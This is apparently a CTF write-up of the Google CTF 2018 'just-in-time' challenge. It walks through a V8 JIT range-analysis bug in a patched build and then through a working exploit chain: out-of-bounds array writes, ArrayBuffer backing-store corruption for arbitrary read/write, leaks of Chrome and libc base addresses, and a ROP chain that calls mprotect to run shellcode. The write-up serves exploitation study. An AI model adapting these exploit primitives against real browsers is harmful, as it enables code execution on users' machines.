Google CTF justintime exploit

Reference

https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time/
Thanks for Stephen, I learned a lot from his amazing challenge.

Setup

I am lazy, so I use Xcode to compile V8 version 7.2.0 (candidate)

1
2
3
4
5
6
7
8
cd ~/v8/v8
git reset 7.2.0 --hard
gclient sync
gn gen out/gn --ide="xcode"
patch -p1 < ./addition-reducer.patch
cd out/gn
open all.xcworkspace/
Compile

Some features

Max Safe Integer Range of Doubles

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER

1
2
3
4
5
6
7
8
9
Number.MAX_SAFE_INTEGER = 2^53 - 1
...
...
var x = Number.MAX_SAFE_INTEGER + 1;//x = 9007199254740992
x += 1;//x = 9007199254740992
x += 1;//x = 9007199254740992

var y = Number.MAX_SAFE_INTEGER + 1;//y = 9007199254740992
y += 2;//y = 9007199254740994

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function foo(doit) {
let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let x = doit ? 9007199254740992 : 9007199254740991-2;
x += 1;
// #29:NumberConstant[1]() [Type: Range(1, 1)]
// #30:SpeculativeNumberAdd[Number](#25:Phi, #29:NumberConstant, #26:Checkpoint, #23:Merge) [Type: Range(9007199254740990, 9007199254740992)]
x += 1;
// #29:NumberConstant[1]() [Type: Range(1, 1)]
// #31:SpeculativeNumberAdd[Number](#30:SpeculativeNumberAdd, #29:NumberConstant, #30:SpeculativeNumberAdd, #23:Merge) [Type: Range(9007199254740991, 9007199254740992)]
x -= 9007199254740991;//解释:range(0,1);编译:(0,3);
// #32:NumberConstant[9.0072e+15]() [Type: Range(9007199254740991, 9007199254740991)]
// #33:SpeculativeNumberSubtract[Number](#31:SpeculativeNumberAdd, #32:NumberConstant, #31:SpeculativeNumberAdd, #23:Merge) [Type: Range(0, 1)]
x *= 3;//解释:(0,3);编译:(0,9);
// #34:NumberConstant[3]() [Type: Range(3, 3)]
// #35:SpeculativeNumberMultiply[Number](#33:SpeculativeNumberSubtract, #34:NumberConstant, #33:SpeculativeNumberSubtract, #23:Merge) [Type: Range(0, 3)]
x += 2;//解释:(2,5);编译:(2,11);
// #36:NumberConstant[2]() [Type: Range(2, 2)]
// #37:SpeculativeNumberAdd[Number](#35:SpeculativeNumberMultiply, #36:NumberConstant, #35:SpeculativeNumberMultiply, #23:Merge) [Type: Range(2, 5)]
a[x] = 2.1729236899484e-311; // (1024).smi2f()
}
for (var i = 0; i < 100000; i++){
foo(true);
}

Run PoC until remove checkbounds is called:

1
2
3
4
5
6
7
8
9
index_type.Print();
->Range(2, 5)
length_type.Print();
->Range(6, 6)
...
if (index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))
Condition is satisfied,so it removes CheckBounds

All in all, the result of range analyzes is different from the result of optimized range. After simplified lower removes boundary check, we can do OOB read/write.

Exploit

Partial OOB read/write

We place array a next to array b, use OOB write from a to change the length of array b. Now, the length of b is 0x400.

And we can OOB via array b:

1
2
3
4
5
6
7
8
9
10
11
12
13
function foo(doit) {
let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let b = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
...
...
for (let i = 0; i < 100000; i++) {//->trigger JIT
foo(true);
g2[100] = 1;
if (g2[12] != undefined) break;//->Confirm the boundary is overwritten
}
if (g2[12] == undefined) {
throw 'g2[12] == undefined';
}

From Partial OOB R/W to Arbitrary R/W Primitive

Add a Float64Array. We can edit the backing store of ArrayBuffer to arbitrary R/W primitive.

We won’t create Float64Array unless the memory is in g2[ab_off]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function foo(doit) {
...
let b = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
...
g2 = b;
}

const ab_off = 26;

function setup() {
...
g4 = new Float64Array(7);//set up a Float64Array
if (g2[ab_off+5].f2smi() != 0x38n || g2[ab_off+6].f2smi() != 0x7n) {
throw 'array buffer not at expected location';
//byte_length is 0x38, length is 0x7
//so, Float64Array is in correct location now
}

Find the address of array buffer backing store:

1
2
3
4
5
6
const ab_backing_store_off = ab_off + 0x15;
...
g4[0] = 5.5;
if (g2[ab_backing_store_off] != g4[0]) {
throw 'array buffer backing store not at expected location';
}

I wonder which address records the backing store. After checking for a little while, it’s my first time to see new Float64Array() directly. Normally, it should be:

1
2
var ab = new ArrayBuffer(20);
var f64 = new Float64Array(ab);

Finding the elements of Float64Array.

Add +0x10 to the address, we can get backing store.

The address of elements is 0x0000093f18ac9ed. In 0x0000093f18ac9ed+0x20, we have the first element -5.5.(0x4016000000000000 in the picture):

When we edit backing store to get arbitrary r/w primitive, assume addr as the target address, change the value of backing store to addr-0x20,then we can leak content in this address.

User mode object leak primitive

Appending an object to g3. Then, double array g2 can leak that object, resulting type confusion. The leaked content is float. f2i is able to convert it to integer:

1
2
3
4
5
6
function leak_ptr(o) {
g3[0] = o;
let ptr = g2[g3_off];
g3[0] = 0;
return ptr.f2i();
}

Here is the output:

1
2
3
4
let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());
...
Array_addr: 0x93f11611259

Arbitrary Address R/W Primitive

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
function readq(addr) {
let old = g2[ab_off+2];
g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
let q = g4[0];
g2[ab_off+2] = old;
return q.f2i();
}
function writeq(addr, val) {
let old = g2[ab_off+2];
g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
g4[0] = val.i2f();
g2[ab_off+2] = old;
}

Let’s have a look on readq

We can get the original value of backing store form g2[ab_off+2]. Change it to the target address. Pay attention to the last 1. This is a mechanism called Tagged Value. Only when 1 is in the last of the address can it be a valid pointer of HeapObject.

Edit it to the content we want to read. E.g, leak the code:

I explained why we should - 20 previously, so skip this part here:

1
g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();

Now the backing store is changed to addr-0x20

We can leak code address 0x000001db14a8c821 from 0x0000093f11611288 now.

Output:

1
2
3
4
5
6
7
8
let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());

let Array_code_addr = readq(Array_addr + 6n*8n);
print('Array_code_addr: ' + Array_code_addr.hex());
...
...
Array_code_addr: 0x1db14a8c821

writeq is the same as readq.

Security Feature

Earlier than version 6.7, the function code is writable. Therefore, we can write shellcode to functions and call the function to execute.

Later, however, the code is not writable and we need to chain ROP.(https://github.com/v8/v8/commit/f7aa8ea00bbf200e9050a22ec84fab4f323849a7)

leak ArrayConstructor

Now, leak the address of Array, Then find the address of Array’s code. In the final, calculate the address of ArrayConstructor:

1
2
3
4
5
6
7
8
9
let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());

let Array_code_addr = readq(Array_addr + 6n*8n);
print('Array_code_addr: ' + Array_code_addr.hex());
// Builtins_ArrayConstructor
let builtin_val = readq(Array_code_addr+8n*8n);
let Array_builtin_addr = builtin_val >> 16n;
print('Array_builtin_addr: ' + Array_builtin_addr.hex());


Reverse Chrome and libc

We can leak the address of ArrayConstructor


It’s mapped to the memory of chrome binary.

Use IDA to reverse. Seek the offset of ArrayConstructor in chrome binary.

1
2
>>> hex(0x55b677f727c0-0x55b673f16000)
'0x405c7c0'

chrome binary base address=ArrayConstructor-0x405c7c0. Let’s store the result in bin_base

1
2
let bin_base = Array_builtin_addr - 0x405c7c0n;
console.log(`bin base: ${bin_base.hex()}`);

Find got table. cxa_finalize is a libc function,there is a got in chrome pointing to it, the offset to the pointer is 0x8DDBDE8.

Then leak cxa_finalize:

Reverse the libc.so, use cxa_finalize_got-0x43520 to get the base address of libc:

1
2
3
let cxa_finalize_got = bin_base + 0x8ddbde8n;
let libc_base = readq(cxa_finalize_got) - 0x43520n;
console.log('libc base: ' + libc_base.hex());

Find environ to leak stack address:

1
2
3
let environ = libc_base+0x3ee098n;
let stack_ptr = readq(environ);
console.log(`stack: ${stack_ptr.hex()}`);

ROP

This section is easy, we use mprotect to change the permission of memory and execute shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
  let nop = bin_base+0x263d061n;
let pop_rdi = bin_base+0x264bdccn;
let pop_rsi = bin_base+0x267e82en;
let pop_rdx = bin_base+0x26a8d66n;
let mprotect = bin_base+0x88278f0n;

let sc_array = new Uint8Array(2048);
for (let i = 0; i < sc.length; i++) {
sc_array[i] = sc[i];
}
let sc_addr = readq((leak_ptr(sc_array)-1n+0x68n));
console.log(`sc_addr: ${sc_addr.hex()}`);

let rop = [
pop_rdi,
sc_addr,
pop_rsi,
4096n,
pop_rdx,
7n,
mprotect,
sc_addr
];
let rop_start = stack_ptr - 8n*BigInt(rop.length);
for (let i = 0; i < rop.length; i++) {
writeq(rop_start+8n*BigInt(i), rop[i]);
}

for (let i = 0; i < 0x200; i++) {
rop_start -= 8n;
writeq(rop_start, nop);
}
}

The addresses in red rectangle is environment variable, and the contents in yellow rectangle are 0x200*retn, variable nop here represents retn instruction but not 0x90(nop instruction), we the code executes retn,it will keep returning until executing our ROP。

1
2
3
4
for (let i = 0; i < 0x200; i++) {
rop_start -= 8n;
writeq(rop_start, nop);
}

Exploit

1
2
cd ~/chrome
./chrome index.html

Other

Acknowledgement

I would acknowledge stephen(@_tsuro) who guides me and points out my stupid mistakes.
Debugging d8 is quite different from chrome,when leaking cxa,it will map builtin to a random address,and cxa is mapped to libv8.so,so we cannot find offset via cxa.



When you complete a arbitrary r/w primitive in v8,you can exploit chrome via the script without additional debug(yes, u don’t need to debug a full chrome)

Thanks Auxy(@realAuxy233) for translating~
If you find any errors or corrections, contact me.